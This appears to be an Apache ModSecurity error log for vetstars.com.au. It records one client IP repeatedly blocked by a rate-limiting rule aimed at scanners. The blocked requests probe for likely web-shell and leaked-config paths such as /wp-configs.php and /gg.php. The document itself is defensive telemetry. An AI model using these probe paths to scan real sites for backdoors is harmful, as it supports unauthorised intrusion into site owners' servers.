[Mon Apr 06 22:46:20.238835 2026] [:error] [pid 10280:tid 10299] [client 158.158.96.77:34681] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cc.php"] [unique_id "adPHPF8QUJkf8g-BFfM4LwAAAdA"]
[Mon Apr 06 22:46:20.747948 2026] [:error] [pid 9442:tid 9447] [client 158.158.96.77:14652] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cc.php"] [unique_id "adPHPEPsNnAJTnmz6sZDfAAAAQM"]
[Mon Apr 06 22:46:21.265775 2026] [:error] [pid 35687:tid 35737] [client 158.158.96.77:34137] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cc.php"] [unique_id "adPHPZ3LtDozV0i8BiuFVwAAAE4"]
[Mon Apr 06 22:46:21.799907 2026] [:error] [pid 35688:tid 35755] [client 158.158.96.77:28794] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cc.php"] [unique_id "adPHPeZ85qg4jLsRpQz_sQAAAIU"]
[Mon Apr 06 22:46:22.432859 2026] [:error] [pid 9442:tid 9449] [client 158.158.96.77:32898] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bkxzo.php"] [unique_id "adPHPkPsNnAJTnmz6sZDgAAAAQU"]
[Mon Apr 06 22:46:22.923218 2026] [:error] [pid 35688:tid 35763] [client 158.158.96.77:34731] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bkxzo.php"] [unique_id "adPHPuZ85qg4jLsRpQz_uQAAAI0"]
[Mon Apr 06 22:46:23.423760 2026] [:error] [pid 35688:tid 35760] [client 158.158.96.77:14623] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bkxzo.php"] [unique_id "adPHP-Z85qg4jLsRpQz_vwAAAIo"]
[Mon Apr 06 22:46:24.071163 2026] [:error] [pid 9442:tid 9459] [client 158.158.96.77:31619] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bkxzo.php"] [unique_id "adPHQEPsNnAJTnmz6sZDgwAAAQ8"]
[Mon Apr 06 22:46:24.574789 2026] [:error] [pid 35686:tid 35714] [client 158.158.96.77:26634] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lo.php"] [unique_id "adPHQMMKdea6oORd2fz15QAAABI"]
[Mon Apr 06 22:46:25.068176 2026] [:error] [pid 35688:tid 35758] [client 158.158.96.77:31638] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lo.php"] [unique_id "adPHQeZ85qg4jLsRpQz_xgAAAIg"]
[Mon Apr 06 22:46:25.585828 2026] [:error] [pid 35688:tid 35751] [client 158.158.96.77:14594] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lo.php"] [unique_id "adPHQeZ85qg4jLsRpQz_zAAAAIE"]
[Mon Apr 06 22:46:26.085198 2026] [:error] [pid 35688:tid 35752] [client 158.158.96.77:14614] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lo.php"] [unique_id "adPHQuZ85qg4jLsRpQz_0AAAAII"]
[Mon Apr 06 22:46:26.583093 2026] [:error] [pid 35687:tid 35744] [client 158.158.96.77:31275] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "adPHQp3LtDozV0i8BiuFWgAAAFU"]
[Mon Apr 06 22:46:27.232217 2026] [:error] [pid 35686:tid 35720] [client 158.158.96.77:26592] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "adPHQ8MKdea6oORd2fz16wAAABg"]
[Mon Apr 06 22:46:27.864050 2026] [:error] [pid 35687:tid 35725] [client 158.158.96.77:65061] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "adPHQ53LtDozV0i8BiuFXgAAAEI"]
[Mon Apr 06 22:46:28.474427 2026] [:error] [pid 1827:tid 1850] [client 158.158.96.77:47191] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "adPHROVeb6S_DnjZ2xE4_wAAAhU"]
[Mon Apr 06 22:46:29.050625 2026] [:error] [pid 35688:tid 35771] [client 158.158.96.77:34518] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/layout.php"] [unique_id "adPHReZ85qg4jLsRpQz_1gAAAJU"]
[Mon Apr 06 22:46:29.600100 2026] [:error] [pid 38562:tid 38573] [client 158.158.96.77:65079] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/layout.php"] [unique_id "adPHRaeD6Ohe6wzRuy61aAAAAUg"]
[Mon Apr 06 22:46:30.301905 2026] [:error] [pid 9442:tid 9463] [client 158.158.96.77:34302] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/layout.php"] [unique_id "adPHRkPsNnAJTnmz6sZDlgAAARM"]
[Mon Apr 06 22:46:31.168270 2026] [:error] [pid 35786:tid 35800] [client 158.158.96.77:34240] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/layout.php"] [unique_id "adPHR2gkfCKTaLhwaKQu8QAAAMc"]
[Mon Apr 06 22:46:32.340553 2026] [:error] [pid 10280:tid 10295] [client 158.158.96.77:14647] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "adPHSF8QUJkf8g-BFfM4OwAAAcw"]
[Mon Apr 06 22:46:33.437639 2026] [:error] [pid 38562:tid 38565] [client 158.158.96.77:31663] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "adPHSaeD6Ohe6wzRuy61bQAAAUA"]
[Mon Apr 06 22:46:34.186693 2026] [:error] [pid 35786:tid 35808] [client 158.158.96.77:33807] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "adPHSmgkfCKTaLhwaKQu9AAAAM8"]
[Mon Apr 06 22:46:34.806163 2026] [:error] [pid 38562:tid 38583] [client 158.158.96.77:37919] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "adPHSqeD6Ohe6wzRuy61cQAAAVI"]
[Mon Apr 06 22:46:35.537781 2026] [:error] [pid 38562:tid 38588] [client 158.158.96.77:32359] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adPHS6eD6Ohe6wzRuy61dgAAAVc"]
[Mon Apr 06 22:46:36.608849 2026] [:error] [pid 35688:tid 35762] [client 158.158.96.77:25239] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adPHTOZ85qg4jLsRpQz_7gAAAIw"]
[Mon Apr 06 22:46:37.334750 2026] [:error] [pid 10280:tid 10306] [client 158.158.96.77:44789] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adPHTV8QUJkf8g-BFfM4QgAAAdc"]
[Mon Apr 06 22:46:38.427316 2026] [:error] [pid 1827:tid 1849] [client 158.158.96.77:31241] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adPHTuVeb6S_DnjZ2xE5DgAAAhQ"]
[Mon Apr 06 22:46:39.169482 2026] [:error] [pid 9442:tid 9462] [client 158.158.96.77:25230] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/content.php"] [unique_id "adPHT0PsNnAJTnmz6sZDrAAAARI"]
[Mon Apr 06 22:46:40.143302 2026] [:error] [pid 9442:tid 9463] [client 158.158.96.77:47823] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/content.php"] [unique_id "adPHUEPsNnAJTnmz6sZDtgAAARM"]
[Mon Apr 06 22:46:40.686053 2026] [:error] [pid 9442:tid 9446] [client 158.158.96.77:30296] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/content.php"] [unique_id "adPHUEPsNnAJTnmz6sZDuwAAAQI"]
[Mon Apr 06 22:46:42.012218 2026] [:error] [pid 9442:tid 9459] [client 158.158.96.77:34512] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/content.php"] [unique_id "adPHUkPsNnAJTnmz6sZDwQAAAQ8"]
[Mon Apr 06 22:46:43.306712 2026] [:error] [pid 1827:tid 1847] [client 158.158.96.77:30274] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-configs.php"] [unique_id "adPHU-Veb6S_DnjZ2xE5GwAAAhI"]
[Mon Apr 06 22:46:44.462760 2026] [:error] [pid 9442:tid 9454] [client 158.158.96.77:65078] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-configs.php"] [unique_id "adPHVEPsNnAJTnmz6sZDywAAAQo"]
[Mon Apr 06 22:46:45.629560 2026] [:error] [pid 35786:tid 35813] [client 158.158.96.77:34549] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-configs.php"] [unique_id "adPHVWgkfCKTaLhwaKQu_AAAANQ"]
[Mon Apr 06 22:46:46.971715 2026] [:error] [pid 10280:tid 10298] [client 158.158.96.77:32345] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-configs.php"] [unique_id "adPHVl8QUJkf8g-BFfM4SQAAAc8"]
[Mon Apr 06 22:46:47.651094 2026] [:error] [pid 38562:tid 38589] [client 158.158.96.77:44770] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yas.php"] [unique_id "adPHV6eD6Ohe6wzRuy61igAAAVg"]
[Mon Apr 06 22:46:48.208491 2026] [:error] [pid 35688:tid 35753] [client 158.158.96.77:31257] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yas.php"] [unique_id "adPHWOZ85qg4jLsRpQz__QAAAIM"]
[Mon Apr 06 22:46:48.825437 2026] [:error] [pid 35688:tid 35771] [client 158.158.96.77:34541] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yas.php"] [unique_id "adPHWOZ85qg4jLsRpQwABAAAAJU"]
[Mon Apr 06 22:46:49.413312 2026] [:error] [pid 9413:tid 9420] [client 158.158.96.77:65072] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yas.php"] [unique_id "adPHWXllvEK3chn01wHZFAAAAYU"]
[Mon Apr 06 22:46:49.939305 2026] [:error] [pid 35786:tid 35809] [client 158.158.96.77:24531] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file5.php"] [unique_id "adPHWWgkfCKTaLhwaKQvBQAAANA"]
[Mon Apr 06 22:46:50.526907 2026] [:error] [pid 10280:tid 10284] [client 158.158.96.77:32381] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file5.php"] [unique_id "adPHWl8QUJkf8g-BFfM4TAAAAcE"]
[Mon Apr 06 22:46:51.020716 2026] [:error] [pid 1827:tid 1850] [client 158.158.96.77:32364] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file5.php"] [unique_id "adPHW-Veb6S_DnjZ2xE5IwAAAhU"]
[Mon Apr 06 22:46:51.507622 2026] [:error] [pid 9442:tid 9450] [client 158.158.96.77:33845] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file5.php"] [unique_id "adPHW0PsNnAJTnmz6sZD2wAAAQY"]
[Mon Apr 06 22:46:52.007954 2026] [:error] [pid 9442:tid 9456] [client 158.158.96.77:44741] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v3.php"] [unique_id "adPHXEPsNnAJTnmz6sZD3AAAAQw"]
[Mon Apr 06 22:46:52.499627 2026] [:error] [pid 38562:tid 38577] [client 158.158.96.77:34472] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v3.php"] [unique_id "adPHXKeD6Ohe6wzRuy61kQAAAUw"]
[Mon Apr 06 22:46:53.010412 2026] [:error] [pid 10280:tid 10288] [client 158.158.96.77:44740] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v3.php"] [unique_id "adPHXV8QUJkf8g-BFfM4UAAAAcU"]
[Mon Apr 06 22:46:53.492482 2026] [:error] [pid 38562:tid 38581] [client 158.158.96.77:65041] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v3.php"] [unique_id "adPHXaeD6Ohe6wzRuy61lgAAAVA"]
[Mon Apr 06 22:46:54.055714 2026] [:error] [pid 10280:tid 10301] [client 158.158.96.77:30288] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "adPHXl8QUJkf8g-BFfM4VAAAAdI"]
[Mon Apr 06 22:46:54.538442 2026] [:error] [pid 35688:tid 35764] [client 158.158.96.77:24564] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "adPHXuZ85qg4jLsRpQwAEwAAAI4"]
[Mon Apr 06 22:46:55.069518 2026] [:error] [pid 1827:tid 1845] [client 158.158.96.77:32334] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "adPHX-Veb6S_DnjZ2xE5LAAAAhA"]
[Mon Apr 06 22:46:55.642697 2026] [:error] [pid 10280:tid 10300] [client 158.158.96.77:24553] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "adPHX18QUJkf8g-BFfM4WQAAAdE"]
[Mon Apr 06 22:46:56.129285 2026] [:error] [pid 10280:tid 10289] [client 158.158.96.77:37905] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "adPHYF8QUJkf8g-BFfM4XAAAAcY"]
[Mon Apr 06 22:46:56.643338 2026] [:error] [pid 1827:tid 1841] [client 158.158.96.77:32376] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "adPHYOVeb6S_DnjZ2xE5LwAAAgw"]
[Mon Apr 06 22:46:57.133431 2026] [:error] [pid 10280:tid 10287] [client 158.158.96.77:34455] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "adPHYV8QUJkf8g-BFfM4YAAAAcQ"]
[Mon Apr 06 22:46:57.720582 2026] [:error] [pid 35686:tid 35714] [client 158.158.96.77:34451] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "adPHYcMKdea6oORd2fz1-wAAABI"]
